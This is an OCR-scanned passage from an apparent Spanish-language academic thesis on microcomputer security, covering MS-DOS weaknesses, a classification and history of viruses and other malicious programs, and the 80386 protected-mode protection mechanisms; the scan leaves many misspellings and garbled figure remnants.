origen, uso y funcionamiento de este tipo de programas, para
poder encontrar una forma de prevencién y deteccién oportuna
de problemas que, como ya se dijo, es el propésito de la
seguridad.

II.3.2 Microcomputadoras con Arguitectura 8086.

Dado gue, la arquitectura que nos ocupa es la 80386,
habria que hacer algqunas consideraciones especiales de lo
expuesto, ya gque como se ha visto, es una arguitectura con
caracteristicas muy especiales y diferentes de las
encontradas otras microcomputadoras.

En realidad, todos los riesgos mencionados hasta ahora,
se cumplen también en 1la arquitectura 386, con algunas
diferencias de por medio, producidas principalmente por la
necesidad de wmantener compatibilidad con la mayor base
instalada de microcomputadoras, incluyendo su sistema
operativo.

Ya gque se toca al sistema operativo, el cual, en
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principio deberia ser el programa a cargo de la seguridad de
la informacién, tenemos que establecer desde aqui, que para
lo que se mencione en adelante, se contempla Gnicamente al
MB-DO8 como sistema operativo, ya que para cualquier otro,
las condiciones pueden cambiar, y se deber&n tratar por
separado.

El M8~DO8, a pesar de sus actualizaciones, tiene serias
deficiencias de seguridad, principalmente porque su disefio
original contempld una arquitectura mas sencilla y nho se
vislumbraba el gran auge gque habrian de tener estos equipos.

En primer lugar, en lo gue se refiere a los controles de
acceso al sistema, son pr&cticamente nulos, y solo se ofrecen
los atributos tradicionales para los archivos y directorios,
no contempléndose contrasefias de entrada ni encriptamiento de
la informacién mas que por medio de programas externos. Para
las arguitecturas 80286 en adelante, con la nueva facilidad
de uso de multitareas, el M8-DO8 tuvo que modificarse para
introducir un esquema de proteccidn diferente, aunque solo
para el modo de operacién protegido, (y el virtual para el
80386), lo cual permite una serie de mejoras a la seguridad
gue se comentardn a detalle en el siguiente capitulo.

En lo gue se refiere a las auditorias, é&stas son
practicamente imposibles de realizar sin 1la ayuda de
programas auxiliares, e incluso aln con éstos, resultan
dificiles de aplicar.

Finalmente, es preciso mencionar gque en general los
usuarjios de microcomputadoras y en especial las de la familia
8086, son precisamente los gue tienen los peores hdbitos de
use de sistemas, propiciandose la escasa seguridad que ya
hemos mencionado.

IXI.4 PROGRAMAB NOCIVOS.

-4.1 Definicién.

Se consideran programas nocivos a todos aquellos
programas o sSecuencias de comandos que alteran el
funcionamiento de los sistemas, programas y/o datos. Aungue
un programa ho destruya informacién, se le puede considerar
nocivo con el simple hecho de modificar el cédigo de otros
programas ejecutables o estructuras del sistema sin previo
consentimiento.

IT.4.2 Tipos de programas nocives.

La clasificaci6n de los programas nocivos varia de muchas
formas, dependiendo el enfoque que se le dé, sin embargo es
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necesaria para poder entender, prevenir y atacar los
problemas que se puedan producir. A continuacién se presenta
una propuesta de clasificacién, de acuerdo a la forma en que
actdan:

a) Programas con errores (Bug-ware). Es el tipo de
programa nocivo mas comin, aungue es producido
involuntariamente. Consiste en errores del programador gque
provocan que el desempefio del sistema no sea el esperado,
produciendo desde pequefias fallas hasta grandes pérdidas de
informacién.

b) Caballos de Troya. Son programas elaborados en forma
deliberada para llevar oculta alguna accién sin permiso del
usuario, generalmente dafian informacién lentamente y sin
avisar., Este tipo de programas no se reproduce y generalmente
vienen escondidos en programas que ofrecen mejoras al
sistema.

c) Camaleones. Son una variante de los caballos de Troya,
su funcionamiento se asemeja al de los programas de uso
comin. Por ejemplo un procesador de palabras que en vez de
salvar informacién la destruye.

c) Bombas. Son programas que producen dafios irreparables
en forma muy r&pida una vez que "explotan", de acuerdo con
alguna actividad del usuario, como puede ser el usoc de alguna
tecla o bien cuando se cumple un evento determinado como
fecha y hora. Son programas que se introducen deliberadamente
para infectar a una sola victima, es decir, no se reproducen.

d) Duplicadores. Se les conoce tamblén como “conejos", lo
finico que hacen es reproducirse con mucha frecuencia hasta
que saturan el sistema.

f) Gusanos (worms). Son programas que viajan a través de
las redes, de una computadora a otra, sin causar
necesariamente dafios al sistema. Los gusanos pueden
reproducirse como un medio de perdurar en su viaje con el
proposito principal de recopilar informacién, como puede ser
contrasefias y accesos. Hoy en dia se les considera plagas de
las minicomputadoras y los equipos grandes pero no de las
microcomputadoras.

g) Virus. Generalmente a todos los programas nocivos se
les ha catalogado como virus, aungue como se puede apreciar,
no todos 1lo son. Los virus son el programa nocivo mas
difundidc de los realizados deliberadamente para destruir
informacién, su nombre proviene de la similitud de este tipo
de programas con los virus biolégicos. Se define a los virus
como un segmento de cédigo autoreplicable que ataca programas
de aplicacién y otros componentes del sistema. La mayoria de
los virus no dejan sefiales externas de su presencia después
de infectar.
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IX.4.3 Antecedentes.

El problema de los programas hocivos no es nuevo, se
tiene conocimiento de ellos desde hace mucho tiempo, aungue
su difusién es muy reciente, apenas en los afios ochentas. A
continuacién se presenta una breve historia de este tipo de
programas.

El primer antecedente de alguna caracteristica de este
tipo de programas, son los trabajos publicados por John Von
Newman en 1949, en su libro *“Theory and Organization of
Complicated Automata”. La caracteristica a la que se refiere
es la capacidad de un programa de autoreproducirse.

En el afo de 1959, los programadores de AT & T
(Laboratorios Bell), utilizaron un juegc llamado Core War,
que consistia en invadir la computadora del adversario con un
cédigo que contenia informacién destinada a destruir la
memorja del rival e impedir su funcionamiento correcto. En
ese entonces, los programadores, concientes del peligro que
este tipo de juegos representaba para los sistemas de
computacién, prometieron guardarlo en secreto para evitar que
fuera utilizado en forma nociva.

En 1974 Xerox Corporation, presenté por primera vez en
los Estados Unidos en forma oficial un programa con cédigo
autoreplicable.

En 1983 el Doctor Fred Cohen realizé un experimento en la
Universidad del Sur de cCalifornia, presentando el primer
virus para una microcomputadora por lo que se le conoce como
el "pPadre de los virus informaticos". Este programa probd que
pequefios fragmentos de cddigo, rara vez de mas de 4 K en su
forma original, podian crecer en proporciones geométricas una
vez que infectaban.

Sin embargo, es hasta 1986 que los virus se difunden como
programas capaces de causar destrozos en la informacién de
los usuarios. Lo anterior fue debido a un programa
desarrollado en Lahore, Pakistan, por dos hermanos gque
comerciaban con computadoras y programas, como medio de
proteccién para copias ilegales. Aungue este virus era
"benigno" puesto gque no destrula informacién, es f&cil de
modificar para hacerlo sumamente destructivo. Este virus en
versiones modificadas es también conocido como Brain o de
Pakistdn. Se supone que hasta la fecha ha infectadeo mas de
200,000 computadoras.

En diciembre de 1987, los expertos de IBM tuvieron que
disefiar un programa antivirus para desinfectar su correo
interno puesto que contenfia un virus benigno que hacia
aparecer un mensaje navidefio en todas las pantallas y que al
reproducirse hizo al sistema muy lento hasta gue lo paralizé
por espacio de 72 horas.
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En 1988 un "gusano" arrasd con Internet, la red basada en
UNIX mas grande de los Estados Unidos, ya que infecté mas de
6000 computadoras en cuestién de horas.

En octubre de 1989 ya se visualizaba a los virus como una
temible amenaza y empezaron a suceder hechos deplorables. Un
comunicado de un terrorista desconocido manifestaba que habia
infectado una gran cantidad de computadoras, desatando el
panico entre 1los usuarios. Aunque no se realizé esta
catistrofe, sirvié a la comunidad inform&tica para replantear
el gran peligro al gue estin expuestos los datos de cualguier
sistema. Esta tesis se reforz6 el 30 de octubre, cuando el
diario New York Times publicé que unas 60 computadoras de la
NASA, fueron infectadas por un virus que habia causado
problemas en el lanzamiento de la nave Atlantis.

También en el afio de 1989, se llevé a los tribunales de
los Estados Unidos a Robert Morris Jr., acusado de haber
cereado un virus que infectd a un sinnimero de computadoras.

En la actualidad, los virus son conocidos por todos los
usuarios y el fenémeno reconocido como un problema nundial.
El problema no se reduce, sino que aumenta dia con dia. La
grédfica de la figura II-1 muestra el aumento de los diversos
virus conocidos desde 1989.

Dentroc de 1los virus conocidos, muchos de ellos son
variaciones que permiten burlar los sistemas de deteccidén
creados exclusivamente para cada virus, de manera que uno
solo de estos programas puede dgenerar una fanrilia de
variantes y actualizaciones dificil de erradicar. Un ejemplo
de este tipo de virus es el 1llamado Jerusalén, gue ha
generado 13 versiones modificadas conocidas. El A&rbol
genealégico de éste virus se muestra en la figura II-2.

Los prondésticos para 1993 indican gque se infectaran
alrededor de 8 millones de computadoras y ya se han hecho
publicaciones recientes donde se dice gue existen mas de 1500
virus diferentes.

X.4.4 Impacto Actual uturo.

Come se puede apreciar, 1los programas nocivos son una
realidad que se presenta como un serio problema para 1la
comunidad informatica, en especial para los usuarios de
microcomputadoras personales. Algunas consideraciones sobre
el impacto gque tienen y pueden tener en el futuro este tipo
de programas, se presenta a continuacién.

Coro ya se menciond, el ‘impacto principal de 1los
programas nocives, radica en el riesgo de pérdida de
informacién que en el mejor de los casos, si es que se
recupera ésta, implica reparacliones y tiempo en el que no se
puede disponer de la informacidén, ya sea unas cuantas horas o
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inclusive dias, repercutiendo en un costo directo (servicio y
reparacién) o de pérdida de productividad.

MES/ARO

7/89
8/89
9/89
10/89
11/89
12/89
1/90
2/90
3/90
4/90
5/90
6/90
7/90
8/90
8/90
10/90
11/80
12/90
1/91
2/91
3/91
4/91
5/91
6/91
7/91

VIRUS CONOCIDOS

T T T T

0 50 100 150 200 250 300 350 400

No. de Virus

Figura II~1 Namero de Virus Conocidos.
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Seguird creciendo el namero de virus y por consiguiente
seguird habiendo grandes pérdidas de informacién con el
consecuente impacto econémico en todas las empresas gue
dependan de las computadoras.

El grado de sofisticacién en la elaboracién de virus
aumentard, asi como el grado de destruccién de éstos y la
dificultad para erradicarlos.

Tendrd mas importancia y difusién la é&ética computacional.

De acuerdo a las consideraciones anteriores, y con el
conocimiento de gque este problema nurica se terminars, es
preciso concientizar a los usuarios y tomar ciertas medidas
que nos ayuden a prevenir los desastres y en caso de que
ocurran, recuperar la informacién afectada.

IX.s COMO MEJORAR LA SEGURIDAD DE LA INFORMACION.

Lo anteriormente dicho, nos lleva a reflexionar sobre los
distintos aspectos que se deben cubrir para evitar los
delitos informaticos. Es posible vislumbrar hasta el momento,
algunos aspectos generales que nos ayudan a mantener la
seguridad de la informacién, aungue esto se detallara y
formalizard en forma mas adecuada en el Gltimo capitulo. Los
aspectos generales a cuidar son:

a) Adecuado contrel de acceso. Es el medio de
autorizacién del uso de los recursos, Ssu propésito es
restringir el uso de los sistemas dando paso solo a usuarios
autorizados y previniendo la entrada de indeseables.
Virtualmente todos los expertos de seguridad coinciden en que
la mejor forma de proteger los datos sensibles de una
computadora es a través de los controles de acceso. El
contral de acceso se da generalmente por medio del sistema
operativo, a través de diversos mecanismos:

- El1 acceso inicial se logra a través de contrasefas
personales (passwords), asignadas por el sistema operativo o
un programa externo. En algunos casos puede llegar a ser tan
sofisticado como verificar firmas, an&lisis de voz o incluso
utilizacidén de dispositivos biomé&tricos. Los passwords solo
otorgan el derecho de entrar en una sesién del sistema, mas
no de obtener acceso de cualguier programa y/o archivo.

- Otro aspecto importante de control de acceso es el uso
de privilegios a 1los distintos usuvarios. Los privilegios
pueden darse por usuario o grupo de usuarios restringiendo el
uso de archivos y directorios en los niveles de lectura,
escritura o ambos, utilizando siempre el criterio de “el
menor privilegio posible".

30



JERUSALEN
Octubre 198

I 1.

i
l’.’“lll.l\ B

Fu MAnchuJ
Marzo 198 enero xue‘
!
Talwan 3 i Nusvo J.
' i '
Junle 1990 | nov. 19891

J [N N (S N R S [

b
|Westwood | ' 1606

Pia de pago; I 1720 ' Jacques

Nov. 1990 marzo 1990 mayo wao;‘ Ilqo-. |no| sept. 1980
1

USOR— | et

Tl [ ] o]

nov. 1990 j

Domingo 1210 tento
nov. 1989 ! are. 1990 maye wnoJ

Figura II-2. Versiones del Virus de Jerusalén.



No obstante lo anterior, siempre es posible derrotar al
software que controla los accesos, por lo que si se puede
combinar esta caracteristica con el hardware se tendri una
mejor seguridad.

b) Encriptamiento. El encriptamiento es la linea de
defensa mas simple de la seguridad. Una de las formas més
comunes para garantizar 1la autenticidad y secreto de 1la
informacidén e inclusive de las claves de acceso al sistema es
el encriptamiento, que consiste en utilizar algoritmos de
forma aleatoria para "encubrir” la informacién en un texto
clave que solo pueda ser visto o utilizado aplicando el mismo
algoritmo para desencriptarlo.

c) Auditorias periddicas, Consiste en mantener el
registro de todas las acciones que se efectGan en la
computadora. La revisién constante de los programas es vital
para desactivar posibles focos de contaminacidn de virus. Lo
anterior es posible efectuarlo sin ayuda de un programa,
aunque existen algunos gque proporcionan herramientas que
permiten este tipo de revisiones en forma automitica con
auxilio de reportes tales como bit&coras, reportes de acceso
al sistema, reportes de contabilizacién y estadisticas. Otra
parte de las auditorias, abarca lo que se denomina auditorlas
de seguridad, que proveen de un reporte con el estado actual
de la seguridad del sistema revisando permisos de archivos y
directorios de los usuarios, verificando los nuevos archives
creados y las modificaciones de comandos y passwords.

d) Uso de programas antivirus. Un programa antivirus es a
su vez, un programa gque permite detectar y erradicar un
virus. El uso de este tipo de programas, en su mayoria esta
restringido solo a virus conocidos, sin embargo, es de gran
utilidad para restablecer los sistemas sin pérdidas de
informacién.

e) Buenos h&bitos del usuario. A pesar de poder contar
con herramientas de software que permitan mejorar . la
seguridad de nuestros sistemas, siempre existird alguien que
los pueda violar. Por lo anterior, es indispensable que los
usuarios tengan hé&bitos adecuados de uso de los sistemas,
ayudando a minimizar los riesgos.

Como se puede apreciar, la prevencién de delitos
informdticos es posible a través de uno o varlos programas
que permitan un adecuado control de acceso al sistema,
auditorias periédicas y proteccidén contra virus, todo esto
complementado con los buenos habitos del wusuario. Sin
embargo, estos programas estdn en funcién del tipo y tamado
del sistema asi como del tipo de aplicaciones que se procesen
en él.
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CAPITULO HI. SEGURIDAD INTERNA DEL MICROPROCESADOR 80386.

Una vez que conocemos la arquitectura general del
microprocesador 80386, asi como los conceptos principales de
seguridad, en el presente capitulo se estudiaran aquellos
aspectos internos de la arquitectura que no han sido tocados,
en paraticular aquellos necesarios para entender los
mecanismos de seguridad interna del microprocesador, ya que
ellos representan una de las mas importantes mejoras en la
evolucién de los microprocesadores INTEL.

IIr.1. E CANISMO DE_PROTECCION.

Como se menciond en el capitulo I, la arquitectura 80386
cuenta con un modo de operacién del microprocesador que
permite el manejo de multitareas denominado modo Protegido,
Aunque este modo de operacién, ya estaba disponible en la
arquitectura 80286, es en la 80386 donde realmente se ha
desarrolladeo plenamente, teniendo inclusive mejoras
substanciales que cubren deficiencias anteriores.

El modo de operacién Protegido surgi6 como una necesidad
para subsanar las deficiencias de seguridad del finico modo de
operacidn que existia hasta ese momento, lo gque ahora se
conoce como el modo Real. En el modo de operacién Real, no se
contemplé un mecanisme de proteccidén interno, haciendo que
las aplicaciones que se ejecuten en &1, sean mucho mas
vulnerables que las que se ejecutan en el modo Protegido.
Dentro de este modo de operacidén, se permite al usuario no
so0lo operar con muiltiples tareas en el mismo ambiente, sino
adem&s mantener cada tarea con privilegios y accesos
especificos que no afecten a las demis tareas, aumentando la
seguridad.

Para entender el funcicnamiento de este mecanismo de
proteccién, es preciso conocer todas las estructuras internas
del sistema que nos permiten el manejo del modo protegido del
microprocesador 80386. A continuacién se describen estas
estructuras.

IIX.1.1 Belectores.

La caracteristica central del mecanismo de protecciédn del
80386 es el selector. Un selector es una estructura del
sistema que permite accesar otra estructura denominada
descriptor. Asociado a cada descriptor se tienen datos tales
como su localizacién, su tamafio Yy tipo, asi como sus
restricciones de acceso.
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XII.1.,2 Degscriptorer.

Los descriptores, como su nombre lo indica, describen el
detalle de un objeto del sistema. Los segmentos de memoria
(apuntados por CS, DS, SS y ES) son ejemplos de descriptores.
Los descriptores se agrupan en tablas, Examinando un
selector, el procesador determina el tipo de descriptor
asociado a éste en la tabla correspondiente, junto con sus
caracteristicas principales.

IIX.1.3 Privilegios.

Ccomo se menciond en el capitulo I, el mecanismo de
proteccién soporta 4 niveles de privilegio (0,1,2,3). El
nivel de privilegio en el selector del registro CS,
identifica el privilegio de la rutina que se esta ejecutando,
este privilegio se denomina CPL (Current Privilege Level -
Nivel de privilegio actual).

Por confiabilidad, solo ciertas rutinas del sistema
operativo pueden ej)ecutarse con el nivel mas privilegiado.
Las aplicaciones y aquellas partes del sistema que no
comprometen la integridad del mismo se ejecutan en los
niveles menos privilegiados.

La palabra privilegio, denota los derechos y ventajas que
no se otorgan normalmente. Un privilegio es una propiedad que
determina qué operaciones son permitidas en cualguier punto
del sistema. Los privilegios se usan para mejorar 1la
seguridad de un sistema en la arquitectura 386, siguiendo el
esquema de anillos de proteccién, los procedimientos que se
ejecutan en los niveles mas internos, (de mayor privilegio),
pueden accesar objetos en los niveles externos, (de menor
privilegio), pero no asi los externos a los internos. Lo
anterior se ejemplifica en la figura III-1.

E1l 80386 cuenta con un grupo de instrucciones que solo
pueden ser ejecutdbles cuando el CPL es cero, debido a que
afectan estructuras de datos del sistema, estas instrucciones
se denominan privilegiadas y se muestran en la tabla de 1la
figura III-2.
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Figura IIT-1. Niveles de Privilegio.
Instruccisén 8ignificado
CLTS Borra Bandera de Intercambio de Tarea
SGDT Almacena la Tabla de Descriptores Global
S1IDT Almacena Tabla de Desc. de Interrupciones
STR Almacena Registro de Tareas
*SLDT Almacena la Tabla de Descriptores Local
LGDT Carga la Tabla de Descriptores Global
LIDT Carga la Tabla de Desc. de Interrupcidn
LTR carga el Registro de Tareas
LLDT Ccarga la Tabla de Descriptores Local
ARPL Ajuste del Nivel de Privilegio Requerido
LAR Carga Derechos de Acceso
LSL Carga el Limite del Segmento
VERR/VERW Verifica Segmento para Lectura 6 Escritura
LMSW Carga la Palabra de Estado de la Maquina
SMSW Almacena la Palabra de Estado de la Maguina

Figura III-2. Instrucciones Privilegiadas.

IZ¥.1.4 Tablas de descriptores.

Los descriptores para los diferentes objetos del sistema,
se agrupan en tablas llamadas tablas de descriptores. Las
tablas de descriptores son arreglos de longitud variable cuyo
rango en tamafio varia de 8 bytes hasta 64 Kbytes pudiendo
soportar hasta 8192 descriptores de 8 bytes. Existen 3 tipos
de estas tablas que son:
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- Tabla de Descriptores Global (GDT).
-~ Tabla de Descriptores Local (LDT).
~ Tabla de Descriptores de Interrupciones (IDT).

La GDT es la tabla de descriptores primaria y soporta los
descriptores disponibles a todas las tareas del sistema,
excepto las interrupciones de control y excepciones. El
registro GDTR contiene la direcci6tn base lineal y el tamafio
de la GDT.

La LDT es una tabla opcional que provee de una capa
adicional de proteccidén y ayuda para construir sistemas mas
confiables.

La IDT contiene los descriptores relacionados con la
instruccién INT tanto de Hardware como de Software. El
registro especial IDTR contiene la direccién base y el tamafio
de la IDT.

La ilustracién de la figura III-3 muestra el mecanismo
para identificar un descriptor dado por un selector de 16
bits. El selector esta compuesto por tres campos; el indice,
el indicador de tabla (TI) y el nivel de privilegio requerido
(RPL) .

BELECTOR
I indice lrll APL I

Descriptores

Descriptoren

. .
veen | oveer —
n n -
. . -
aoT LBT s

Figura III-3. Acceso a tablas del sistema.
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El bit TI identifica 1la tabla que el selector esta
seleccionando, si es cero, se refiere a la GDT, si es uno, a
la LDT; por ejemplo, en la figura IIXI-4, si un selector tiene
el valor de 0033H, se observa que egquivale al indice 3, o©
bien GDT(3). La primer localidad de la GDT no se usa,
tomdndose como descriptor nulo.

SELECTOR
3
Ti=0
TTITITIIooC o )
Indice = O3H RPL - 3
GDT

Figura III-4. Ejemplo de Acceso a la GDT.

Si TI es uno, el indice se refiere a una posicién en la
LDT actual. LDT(0) puede ser utilizada para un descriptor
valido. Las LDT’s son usualmente creadas por una tarea y
sirven para dos propésitos; primero, debido a que el indice
del selector es de 13 bits, se pueden direccionar un maximo
de 8192 descriptores. Con varias LDT se multiplica esa
capacidad. Segundo, la LDT incrementa la seguridad ya que
cada una define su espacio virtual de direccionamiento para
cada aplicacién y no puede afectar otras aplicaciones de otra
tarea.

La filgura III-5 muestra como accesar un segmento del
sistema operativo. El programa de aplicaci6én, llama a la
rutina del sistema para escribir en un disco y le pasa un
apuntador al segmento del sistema gque desea accesar. La
rutina del sistema tiene suficiente privilegio para accesar
al segmento, por lo que no hay violacién del mecanismec de
proteccién.
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Figura III-5, Accesoc a un Segmento del Sistema.

Un sistema operativo mas seguro, debe evitar estos
accesos, asegurando dque el RPL de cualquier selector se
asigne al CPL de la rutina gue llama. La instruccién ARPL
(Ajuste del RPL) ejecuta esta funcién. Cuando esto se hace,
el sistema puede detectar que el RPL del selector es menor
que el DPL (Descriptor Privilege Level - Nivel de Privilegio
del Descriptor} del segmento deseado, Yy puede reusar la
operacién. La figura ITI-6 muestra esta mejoria al sistema
para esta situacién.

e
T - ° Compusrta

A Segmants

— Acgeao
Legal

Acceso
Negat

Figura ITI-6. Mejoria al Acceso de un Segmento del 5.0.
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La figura III-7, muestra los diferentes formatos para los
tres tipos de descriptores y sus contenidos: segmentos de
memoria (CS,DS,SS,ES), del sistema (LDT y TSS) y compuertas
(Gates) .

Como se puede observar, los segmentos del sistema se
diferencian de los de memoria por el valor cero en el bit ‘S’
del descriptor. Un campo importante es el denominado Type
(tipo) que indica el tipo de descriptor del sistema, este
puede tomar los siguientes valores:

Invalido

TSS del 80286

LDT

TSS del 80286 ocupada
TSS del 80386

TSS del 80386 ocupada

NawnPo
L IR B |

Un descriptor del sistema no delinea una regién de
memoria, por lo gue no tiene direccién base ni campo limite,
en su lugar, apunta a otro descriptor via un selector,ya sea
a otro descriptor del mismo tipo © a una compuerta de llamada
(call Gate), de interrupcién (Interrupt Gate) & de trampa
(Trap Gate); para el caso de estos filtimos, debe contener el
selector para el CS y su desplazamiento. Para el caso
especial de una compuerta de tarea, en el selector de la TSS,
el desplazamiento no se utiliza.

Los descriptores de compuerta al igual gue 1los del
sistema tienen un cero en el bit 'S’ y pueden contener los
siqguientes valores en el campo de tipo:

4 - Call Gate 80286

5 - Task Gale

6 =~ Interrupt Gate

7 - Trap Gate

12 - call Gate 80386

14 - Interrupt Gate 802386
15 - Trap Gate 80386

Los valores del 8 al 10 y el 13 son reservadoes por INTEL
para procesadores futuros.

1.6 oteccibn.

El 80386 esta disefiado para contener métodos internos de
proteccién. El segmento es su unidad basica de proteccién y
los descriptores de segmento almacenan parémetros para este
fin. Los paréimetros se almacenan por software en el momento
en que se crean los descriptores.

La proteccién en esta argquitectura contempla 7 criterios
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DESCRIPTOR DEL SISTEMA

63 48 47 32
A S
Base Limite Base
G|--joiv Ll -1 Tipo
24..31 L 16..19 0 16..23
Base 0..15 Limite 0..16
31 16 16 o
DESCRIPTOR DE MEMORIA
63 48 47 32
A S
Base Limite Base
G (D ]oO |V Pl oPL |~ Tipo
24..31 L 16..19 1 16..23
Base 0..16 Limite 0..16
31 16 15 [+]
DESCRIPTOR DE COMPUERTA
a3 48 47 32
Desaplazamiento
P | DPL |- Tipo 0 o of co
16..31 o
[ 1
Desplazamiento
Selector 0..16
a1 16 16 o
DC - Contador en Dobie palabrs P - Prasente
G - Granularidad WL - Disponitle
O - Dafauit ( 0-18 bits, 1-32 bits) DPL - Mivei de Privileglo del Descriptor

Figura III-7. Formatos de Descriptores.
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1.- Verificacién de tipo.

2.- Verificacién del limite.

3.~ Restriccién de acceso a datos.

4.- Restricciones de transferencia de control.
S5.- Restricciones del conjunto de instrucciones.
6.- Validacién de apuntadores a segmentos.

7.=- validacién de paginas y directorios.

A continuacién se detalla cada uno de estos criterios.

IT1.1.6.1 Verificacién de O

El campo TYPE en los descriptores, es variable,
dependiendo del formato del descriptor. El chequeo de este
campo Se usa para detectar errores del programador que
intenta utilizar un segmento en forma incorrecta. El
procesador verifica esta informacién en dos ocasiones:

a) cuando la instruccién se refiere implicita o
explicitamente a un registro de segmento. Por ejemplo:
ninguna instruccién debe poder escribir en un segmento
ejecutable.

b) Cuando un selector de descriptor es cargado en el
registro de segmento. Por ejemplo: los segmentos ejecutables
protegidos contra lectura no pueden ser cargados en registros
de segmentos de datos.

IIr.1.6.2 Verificacién del Limite.

Se utiliza para detectar errores de programacién tales
como cilculos de apuntadores invalidos. Estos errores se
detectan en el momento en que ocurren. Si no existiera esta
verificacién podria producirse corrupcién de datos en otros
médulos, siendo muy dificil de detectarla.

cada descriptor, contiene un campo llamado LIMIT (Limite)
para prevenir que 1los programas direccionen fuera del
segmento. El procesador utiliza el campo G (Granularidad)
para interpretar el 1limite. Para segmentos de datos el
procesador también utiliza el campo E (Expansién-Hacia abajo
- Expanded Down) y el B (Big).

Si G=0, LIMIT tiene un valor de 20 bits como aparece en
el descriptor, con un rango de 0 a FFFFFh (229 -1 = 1Mb).
Cuando G=1, el 80386 fgrega 12 bits al campo LIMIT para tener
un rango de OFFFh (2 -1 = 4Kb) hasta OFFFFFFFFh (2 -1 =
4Gb) .

E)l procesador utiliza el campo LIMIT de los descriptores
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para prevenir que los programas seleccionen una entrada fuera
de la tabla de descriptores.

La tabla de la figura IIX-8 muestra distintas
combinaciones de los bits E, G y B para determinar el tamafio
de los segmentos.

Caso

pireccién de Expansién
Bit G

Xoo|w»
Xea
cov | w
il ]

Bit B

Limite Inferior es:
o]

Limite + 1 X
SHL(Limite, 12,1)+1 X

Limite Superior es:
Limite X
SHL(Limite,12,1)+1 X
64k - 1 X
4G - 1 X

Tamafio maximo del segmento

64k - 1 X
4G - 4k X
4G X

Tamafio minime del segmento
0

4k X X

Figura III-8. Combinacién de los bits E,G y B.

La caracteristica de Expansidén hacia abajo (Expand-Down)
permite al stack expanderse, copiandose a un segmento mas
grande sin necesidad de actualizar sus apuntadores. Para este
tipo de segmentos, el campo LIMIT tiene la misma funcién pero
es interpretado diferente.

ZII.1.6.3 Restriccién de acceso a datos.

Antes de que el procesador pueda direccionar operandos en
memoria, el 80386 carga el selector de segmento de datos en
DS ( o cualquier otro segmento de datos), después compara los
niveles de privilegio para evaluar el acceso a los datos como
se muestra en la figura III-9.
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Ssiscior Ssacriptor

L EE

Setector del Segmentc Desting

Desoriptor del Segmenta de Datos

(]
4
4

GPL = Hiysl de Privilsgioc Actuasl
RPL « Nivel de Privilaglo Requarida
DEL - Nivel de Privilegio del Descriptar

Figura III-9. Acceso a Datos.

Las instrucciones son habilitadas para cargar un registro
de segmento de datos solo si el DPL del segmento destino es
numéricamente mayor (menor privilegio) o igual al maximo
entre el CPL y el RPL. Esto se utiliza para prevenir que las
aplicaciones lean o cambien tablas del sistema operativo.

. estricciones de Trans encia de Control.

Las transferencias de control en el 80386 se realizan a
través de las operaciones de CALL, JMP, INT, IRET y RET
manejandose en dos modalidades: Near (cercana) y Far
{lejana).

La modalidad Ycercana" es una transferencia dentro del
segmento de cédigo actual, por lo gque solo requiere de un
chequeo de limite. La modalidad "lejana" se utiliza para
transferencias a otros segmentos, lo cual se logra de dos
formas: con la seleccién de otro segmento o a través de
compuertas, para lo gue se requieren verificaciones mas
complejas que se explicardn en el punto III-2.

estricgiones de {-} e clones.

Ciertas instrucciones pueden afectar el mecanismo de
proteccién o influir en el rendimiento general del sistema.
El1 80386 tiene dos clases de instrucciones restringidas
denominadas privilegiadas y/o sensitivas, 1las cuales se
mostraron en la figura III-2.
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II¥.1.6.6 Validacién de Apuntadores a Segmentos.

La validacién se refiere a comprobar los limites que un
dato puede tener. La validacién de los apuntadores es una
parte importante para encontrar errores de programacién,
también es necesaria para mantener aislados los niveles de
privilegio que consisten de:

- Verificacién del tipo de segmento.

- Verificacién del limite del segmento.

- Verificacién de que el apuntador suministrado este
habilitado para accesar el segmento.

IIT.1.6.7 Validacién de pigina y Directorios.

Cada entrada de la tabla de p&ginas tiene asociados dos
bits con el tipo de proteccién, el U/S y el R/W. En el nivel
de direccionamiento por pigina, se pueden definir dos tipos:

-~ Acceso de solo lectura, si R/W = 0
-~ Acceso de lectura/escritura, si R/W = 1

Ccuando se ejecuta en nivel supervisor (CPL < 3) los bits
U/S Yy R/W son ignorados y todas 1las paginas son de
lectura/escritura. Cuando CPL = 3 solo las péginas con nivel
de usuario U/S =1 y marcadas con R/W = 1 son susceptibles a
ser afectadas para escritura.

IITI.2 comunjcacidn entre njveles.

Como se menciond en el punto IIT.1.6.4, existen
restricciones para transferir el control o establecer
comunicacién entre segmentos de tipo Far. Las restricciones
dependen de la forma en que se realiza la transferenciaj;
basicamente existen dos formas: a través de un segmento o de
una compuerta.

Para el primer caso, el CPL es igual al DPL del segmento
que se esta ejecutando, sin embardgo, puede ser mayor si el
descriptor del DPL tiene encendido un bit llamado CONFORMING.
Un segmento de este tipo es llamado Conformado, y permite
compartir procedimientos llamados desde diferentes niveles
con diferentes privilegios, con 1la restriccién de que debe
ejecutarse desde el nivel del procedimiento que 1llama.
Entonces, cuande el control se transfiere a un segnmento
conformado, el CPL no cambia, por lo gue puede ser distinto
del DPL del segmento que se esta ejecutando.

Para que las aplicaciones en los niveles de privilegio
mas bajos. tengan acceso a las rutinas del sistema operativo
que solo se ejecutan en el privilegio 0, se contempla un
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segundo mecanismo especial denominado compuerta (Gate}. Una
compuerta es un objeto del sistema (con su propioc descriptor)
que apunta a un procedimiento en un determinado segmento de
cb6digo, la compuerta maneja en forma independiente -a este
cédigo su nivel de privilegio. De acuerdo al wuso de
compuertas, podemos obtener otros caminos de acceso como los
mostrados en la figura III-10.

P ] cobiao
o a
s " (O courvean
\ Accass Legat

Acceso llegsi

e

Figura III-10. Acceso a través de Compuertas.

Una compuerta permite ejecutar solo accesos a una rutina
en un anillo de proteccién interno desde un nivel menos
privilegiado. El mecanismo de proteccién soporta 4 tipos de
compuertas:

- Llamadas (Call Gates). Son ejecutadas con un CALL.

~ Interrupciones (Interrupt Gates). Son ejecutadas con
la instruccién INT.

- Trampas (Trap Gates). Son ejecutadas con INT.

- Tareas (Task Gates). ejecutadas con las
instrucciones JMP, CALL, INT 6 incluso interrupciones
de Hardware.

En una llamada comin (CALL), la direccién de retorno y
sus par@metros se alwmacenan en el stack y la ejecucién
continGa al comienzo de la subrutina. cCuando se invoca una
subrutina a través de una compuerta, el nivel de privilegio
de la rutina de ejecucién cambia al nivel del coédigo de
segmento al cual apunta la compuerta. Cuande la subrutina
termina, el nivel de privilegio regresa a la del
procedimiento que llama. Esta solucién resuelve el problema
de comunicacién pero produce otro, debido a que la direccién
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de retorno ( y posiblemente algunos parametros) esta en el
stack y é&ste se encuentra en el anillo 3 correspondiente a
las aplicaciones. Entonces, estos datos no se encuentran
completamente seguros. La aplicacién se puede corregir
